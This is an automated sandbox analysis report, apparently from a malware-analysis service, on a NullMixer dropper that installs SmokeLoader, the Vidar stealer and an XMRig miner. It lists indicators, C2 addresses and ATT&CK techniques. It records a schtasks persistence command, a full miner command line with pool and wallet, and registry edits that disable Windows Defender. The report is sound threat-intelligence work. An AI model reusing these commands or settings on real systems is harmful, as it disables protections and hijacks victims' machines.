nullmixer | a80595d5777175cd4da514edb06d38676888daf62608369b816b2f11b6aa9cc2

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
28-01-2024 00:00

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General

Target

setup_installer.exe
Size

3.3MB
MD5

8765c39cc6647adc171220b11942422b
SHA1

5a45fd626dcf26b1f933e5a18db138fe1df64444
SHA256

f52e34603c58c806081a09fc4ba38eabe1e3f12b7a57a75353ecf593177fa7ef
SHA512

8c5bf35e5d6dc7aab1bff4836ef00e44d7e158d4b8d3f9bcf9ebb39a02b21078c5879f061ac926aa52b9a0f9a83752f322db1d98c1a2908a9ec5eed60919fa65
SSDEEP

98304:xpeKfE9KlGB9z8qTsF5iOew3qrCvLUBsKxp:x8/9HHoGDQLUCKxp

Score

10^/10

nullmixer smokeloader vidar xmrig 706 pub6 aspackv2 backdoor dropper evasion miner spyware stealer trojan

Malware Config

Extracted

Family

nullmixer

http://znegs.xyz/

Extracted

Family

smokeloader

Botnet

pub6

Extracted

Family

vidar

Version

39.9

Botnet

706

https://prophefliloc.tumblr.com/

Attributes

profile_id
706

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	zaiqa_7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	zaiqa_7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	zaiqa_7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	zaiqa_7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	zaiqa_7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	zaiqa_7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	zaiqa_7.exe

NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral4/memory/2100-101-0x0000000004960000-0x00000000049FD000-memory.dmp	family_vidar
behavioral4/memory/2100-143-0x0000000000400000-0x0000000002CC2000-memory.dmp	family_vidar
behavioral4/memory/2100-168-0x0000000000400000-0x0000000002CC2000-memory.dmp	family_vidar
behavioral4/memory/2100-170-0x0000000004960000-0x00000000049FD000-memory.dmp	family_vidar

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral4/memory/3640-218-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-216-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-222-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-219-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-223-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-224-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-225-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-226-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-227-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-228-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-230-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-234-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/3640-236-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

ASPack v2.12-2.42 4 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x000600000002322c-32.dat	aspack_v212_v242
behavioral4/files/0x0006000000023228-39.dat	aspack_v212_v242
behavioral4/files/0x0006000000023227-40.dat	aspack_v212_v242
behavioral4/files/0x000600000002322a-45.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	zaiqa_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	chrome2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	services64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	zaiqa_7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	zaiqa_4.exe

Executes dropped EXE 16 IoCs

pid	Process
824	setup_install.exe
1292	zaiqa_6.exe
2100	zaiqa_3.exe
3544	zaiqa_2.exe
3292	zaiqa_1.exe
4512	zaiqa_5.exe
2016	zaiqa_4.exe
1924	zaiqa_8.exe
2372	zaiqa_7.exe
4012	zaiqa_9.exe
1808	chrome2.exe
4140	zaiqa_1.exe
2008	setup.exe
3892	winnetdriv.exe
1716	services64.exe
2832	sihost64.exe

Loads dropped DLL 7 IoCs

pid	Process
824	setup_install.exe
824	setup_install.exe
824	setup_install.exe
824	setup_install.exe
824	setup_install.exe
824	setup_install.exe
824	setup_install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
410	pastebin.com
24	iplogger.org
26	iplogger.org
28	iplogger.org
392	raw.githubusercontent.com
393	raw.githubusercontent.com
409	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ipinfo.io
11	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1716 set thread context of 3640	1716	services64.exe	130

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\winnetdriv.exe	setup.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3268	824	WerFault.exe	88

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zaiqa_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zaiqa_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zaiqa_2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5040	schtasks.exe
4428	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3544	zaiqa_2.exe
3544	zaiqa_2.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
2372	zaiqa_7.exe
1808	chrome2.exe
1808	chrome2.exe
1716	services64.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe
3640	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1924	zaiqa_8.exe
Token: SeDebugPrivilege	1292	zaiqa_6.exe
Token: SeDebugPrivilege	1808	chrome2.exe
Token: SeDebugPrivilege	1716	services64.exe
Token: SeLockMemoryPrivilege	3640	explorer.exe
Token: SeLockMemoryPrivilege	3640	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 824	2192	setup_installer.exe	88
PID 2192 wrote to memory of 824	2192	setup_installer.exe	88
PID 2192 wrote to memory of 824	2192	setup_installer.exe	88
PID 824 wrote to memory of 5052	824	setup_install.exe	111
PID 824 wrote to memory of 5052	824	setup_install.exe	111
PID 824 wrote to memory of 5052	824	setup_install.exe	111
PID 824 wrote to memory of 1424	824	setup_install.exe	110
PID 824 wrote to memory of 1424	824	setup_install.exe	110
PID 824 wrote to memory of 1424	824	setup_install.exe	110
PID 824 wrote to memory of 1928	824	setup_install.exe	109
PID 824 wrote to memory of 1928	824	setup_install.exe	109
PID 824 wrote to memory of 1928	824	setup_install.exe	109
PID 824 wrote to memory of 3384	824	setup_install.exe	108
PID 824 wrote to memory of 3384	824	setup_install.exe	108
PID 824 wrote to memory of 3384	824	setup_install.exe	108
PID 824 wrote to memory of 1132	824	setup_install.exe	107
PID 824 wrote to memory of 1132	824	setup_install.exe	107
PID 824 wrote to memory of 1132	824	setup_install.exe	107
PID 824 wrote to memory of 4480	824	setup_install.exe	106
PID 824 wrote to memory of 4480	824	setup_install.exe	106
PID 824 wrote to memory of 4480	824	setup_install.exe	106
PID 824 wrote to memory of 3928	824	setup_install.exe	105
PID 824 wrote to memory of 3928	824	setup_install.exe	105
PID 824 wrote to memory of 3928	824	setup_install.exe	105
PID 824 wrote to memory of 3032	824	setup_install.exe	104
PID 824 wrote to memory of 3032	824	setup_install.exe	104
PID 824 wrote to memory of 3032	824	setup_install.exe	104
PID 824 wrote to memory of 3832	824	setup_install.exe	103
PID 824 wrote to memory of 3832	824	setup_install.exe	103
PID 824 wrote to memory of 3832	824	setup_install.exe	103
PID 4480 wrote to memory of 1292	4480	cmd.exe	102
PID 4480 wrote to memory of 1292	4480	cmd.exe	102
PID 1928 wrote to memory of 2100	1928	cmd.exe	92
PID 1928 wrote to memory of 2100	1928	cmd.exe	92
PID 1928 wrote to memory of 2100	1928	cmd.exe	92
PID 1424 wrote to memory of 3544	1424	cmd.exe	101
PID 1424 wrote to memory of 3544	1424	cmd.exe	101
PID 1424 wrote to memory of 3544	1424	cmd.exe	101
PID 5052 wrote to memory of 3292	5052	cmd.exe	100
PID 5052 wrote to memory of 3292	5052	cmd.exe	100
PID 5052 wrote to memory of 3292	5052	cmd.exe	100
PID 1132 wrote to memory of 4512	1132	cmd.exe	99
PID 1132 wrote to memory of 4512	1132	cmd.exe	99
PID 3032 wrote to memory of 1924	3032	cmd.exe	97
PID 3032 wrote to memory of 1924	3032	cmd.exe	97
PID 3384 wrote to memory of 2016	3384	cmd.exe	98
PID 3384 wrote to memory of 2016	3384	cmd.exe	98
PID 3384 wrote to memory of 2016	3384	cmd.exe	98
PID 3928 wrote to memory of 2372	3928	cmd.exe	96
PID 3928 wrote to memory of 2372	3928	cmd.exe	96
PID 3928 wrote to memory of 2372	3928	cmd.exe	96
PID 3832 wrote to memory of 4012	3832	cmd.exe	94
PID 3832 wrote to memory of 4012	3832	cmd.exe	94
PID 2016 wrote to memory of 1808	2016	zaiqa_4.exe	114
PID 2016 wrote to memory of 1808	2016	zaiqa_4.exe	114
PID 3292 wrote to memory of 4140	3292	zaiqa_1.exe	113
PID 3292 wrote to memory of 4140	3292	zaiqa_1.exe	113
PID 3292 wrote to memory of 4140	3292	zaiqa_1.exe	113
PID 2016 wrote to memory of 2008	2016	zaiqa_4.exe	116
PID 2016 wrote to memory of 2008	2016	zaiqa_4.exe	116
PID 2016 wrote to memory of 2008	2016	zaiqa_4.exe	116
PID 2008 wrote to memory of 3892	2008	setup.exe	117
PID 2008 wrote to memory of 3892	2008	setup.exe	117
PID 2008 wrote to memory of 3892	2008	setup.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Users\Admin\AppData\Local\Temp\7zS098CC867\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS098CC867\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_9.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_8.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_7.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_6.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_5.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_4.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_3.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_2.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c zaiqa_1.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 824 -s 572
    3⤵
    - Program crash
    PID:3268

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_3.exe
zaiqa_3.exe
1⤵
- Executes dropped EXE
PID:2100

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_9.exe
zaiqa_9.exe
1⤵
- Executes dropped EXE
PID:4012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 824 -ip 824
1⤵
PID:516

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_7.exe
zaiqa_7.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2372

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_8.exe
zaiqa_8.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_4.exe
zaiqa_4.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Temp\chrome2.exe
  "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    PID:3308
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:5040
- - C:\Users\Admin\AppData\Roaming\services64.exe
    "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:4572
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:4428
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      4⤵
      Executes dropped EXE
      PID:2832
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3640
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\winnetdriv.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe" 1706400070 0
    3⤵
    - Executes dropped EXE
    PID:3892

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_5.exe
zaiqa_5.exe
1⤵
- Executes dropped EXE
PID:4512

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_1.exe
zaiqa_1.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_1.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_1.exe" -a
  2⤵
  - Executes dropped EXE
  PID:4140

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_2.exe
zaiqa_2.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:3544

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_6.exe
zaiqa_6.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS098CC867\libcurl.dll

Filesize
218KB

MD5
d09be1f47fd6b827c81a4812b4f7296f

SHA1
028ae3596c0790e6d7f9f2f3c8e9591527d267f7

SHA256
0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

SHA512
857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\libcurlpp.dll

Filesize
54KB

MD5
e6e578373c2e416289a8da55f1dc5e8e

SHA1
b601a229b66ec3d19c2369b36216c6f6eb1c063e

SHA256
43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

SHA512
9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\libgcc_s_dw2-1.dll

Filesize
113KB

MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\libstdc++-6.dll

Filesize
647KB

MD5
5e279950775baae5fea04d2cc4526bcc

SHA1
8aef1e10031c3629512c43dd8b0b5d9060878453

SHA256
97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

SHA512
666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\libwinpthread-1.dll

Filesize
69KB

MD5
1e0d62c34ff2e649ebc5c372065732ee

SHA1
fcfaa36ba456159b26140a43e80fbd7e9d9af2de

SHA256
509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

SHA512
3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\setup_install.exe

Filesize
287KB

MD5
a52a590e1f8f93cd1d4108293415975c

SHA1
49db2a15b6f32c6189f24a8ae6e4bb33d0485f05

SHA256
12d2f007dcc8cb316493fe0f61fd330fdec70f872ae81693e12f9fcc47590149

SHA512
47893f8117466821b89b29836e638bc76d2ee93e57179ba49d2242eb066fa01ff4e0033f194099065e29278b4d4ba653cca00e270f85ccd6cb91b7d3285d6161

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_1.exe

Filesize
56KB

MD5
3263859df4866bf393d46f06f331a08f

SHA1
5b4665de13c9727a502f4d11afb800b075929d6c

SHA256
9dcacda3913e30cafd92c909648b5bffde14b8e39e6adbfb15628006c0d4d3c2

SHA512
58205110a017f5d73dd131fefb1e3bbbcc670ed0c645aeefebe5281579c7b1dceffa56671cd7b186554bdb81710e21018ed0d7088a27517dfc5e48d6d3578cf6

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_2.exe

Filesize
188KB

MD5
44dc205a5701b53f391a3a750c2c4712

SHA1
14e82b1f6bb987d8f2783db2ab5f82dd9ab8eacc

SHA256
508c41442ba856a3266b3e58a31fe8c4b0ad7491e04dfead265daaa028efd768

SHA512
02890434c81867499e0911e8062797bf7fc184e05b6de2ab14ffa6f95c48f88e07250b4e5a7ff565bbf45d66d8d7cb5c1009b85085ee3a6bbdac218f356c5749

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_3.txt

Filesize
555KB

MD5
8595f5515fac09b73ff463056cb07a15

SHA1
80f39da9a52cffb70edaa4d7de82f543ba4d417e

SHA256
8223619e305ec5063e9e2c1490fa25f6e924c317b08fd5eed938bb5de2e57de1

SHA512
26f0a15484a8780fedcea91f9d90ab4b81a91598fad4cad54f45fd18eccf73914215851909bf8acadeafc7b89c656c98ec988a46aa43e17a364b39b5d8ac477a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_4.txt

Filesize
923KB

MD5
13a289feeb15827860a55bbc5e5d498f

SHA1
e1f0a544fcc5b3bc0ab6a788343185ad1ad077ad

SHA256
c5483b2acbb352dc5c9a811d9616c4519f0e07c13905552be5ec869613ada775

SHA512
00c225fb1d88920c5df7bb853d32213a91254fb8c57169c58c8b0ffab4501486e24d87e3d8f5665b16e366362cb81deec535d833ed42434fdc31f0400ee7ffa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_5.txt

Filesize
900KB

MD5
8cad9c4c58553ec0ca5fd50aec791b8a

SHA1
a2a4385cb2df58455764eb879b5d6aaf5e3585ac

SHA256
f092024f873461b61234b97fcb07c8589dcc9a801cf8a0a6e302dbd746bab294

SHA512
1eeac808dd992a7b99448d8a1c5470a2964b14705b4e987d9cb2e227a8142122faa17bf8a9acba6db4e80a42b50b58536e748a3231736b9b705d630f941159a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_6.txt

Filesize
186KB

MD5
28e40b1adae683f70b178d025ea7bf64

SHA1
24851934bbb9a67c6d07e48503e6296c91fff502

SHA256
1cde227af526781ff9553ffef5d3eb52bc5e78240150d8bddd20644f4bf80af5

SHA512
f02b499b6e10411affba70caf96694f6297f6b754c00b6a179421f5aa21a21bb8f8863d87fea358a280979dfede22a06188abc695e5be4ed578bb60d73aada57

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_7.txt

Filesize
1.7MB

MD5
80367fe443bf040a73dc4a5a4203a7a4

SHA1
db4e842f234e4e2fb21e6c07e7976d34e7e2418a

SHA256
50112e9f9403398d1f1e756b45e477a8b262056e8a60ad73fa767c86574facf2

SHA512
e2be537585fb9b525c45d73f96522c282c6ee6a1ae96ed889a5aefd881a663e8a4000c1decfd294066f5b57214fb773cca7788ac4c280b1f3d0fd74feec197e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_8.txt

Filesize
8KB

MD5
c85639691074f9d98ec530901c153d2b

SHA1
cac948e5b1f9d7417e7c5ead543fda1108f0e9ed

SHA256
55701c6e51fb6a9820d8f9d2ae9db412b60f51c80d288e8baf0ea50e2d03cce4

SHA512
4911ce27e56bac29b247840e6c9de78e875210fd0588d11d9e3a3eae39764bfdd14b56de5de4cf535674a2ba0810c9d823f42b339f650dedb7af42f8b3fd4c6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS098CC867\zaiqa_9.txt

Filesize
900KB

MD5
5c2e28dedae0e088fc1f9b50d7d28c12

SHA1
f521d9d8ae7381e3953ae5cf33b4b1b37f67a193

SHA256
2261a3d740572f9d0ee42faad5b0d405df16506e104bd912e7c7b24d7fddcc5f

SHA512
f6f100508acb77af5b3442673c9d01a6a16cc39521b618eebccd482bf9f50b3991109f82b97e48e8c3cc0221f0be9e164867ba79ac2f2bc4e25cbdb5f7daa15f

Download Submit
C:\Users\Admin\AppData\Local\Temp\chrome2.exe

Filesize
43KB

MD5
ad0aca1934f02768fd5fedaf4d9762a3

SHA1
0e5b8372015d81200c4eff22823e854d0030f305

SHA256
dc10f50f9761f6fbafe665e75a331b2048a285b1857ad95e0611ace825cba388

SHA512
2fba342010ba85440784190245f74ea9e7c70974df12c241ccb6b72a6e1006a72bd1fa2e657f434d7479758f9508edb315398f6e95d167a78b788cea732be3b7

Download Submit
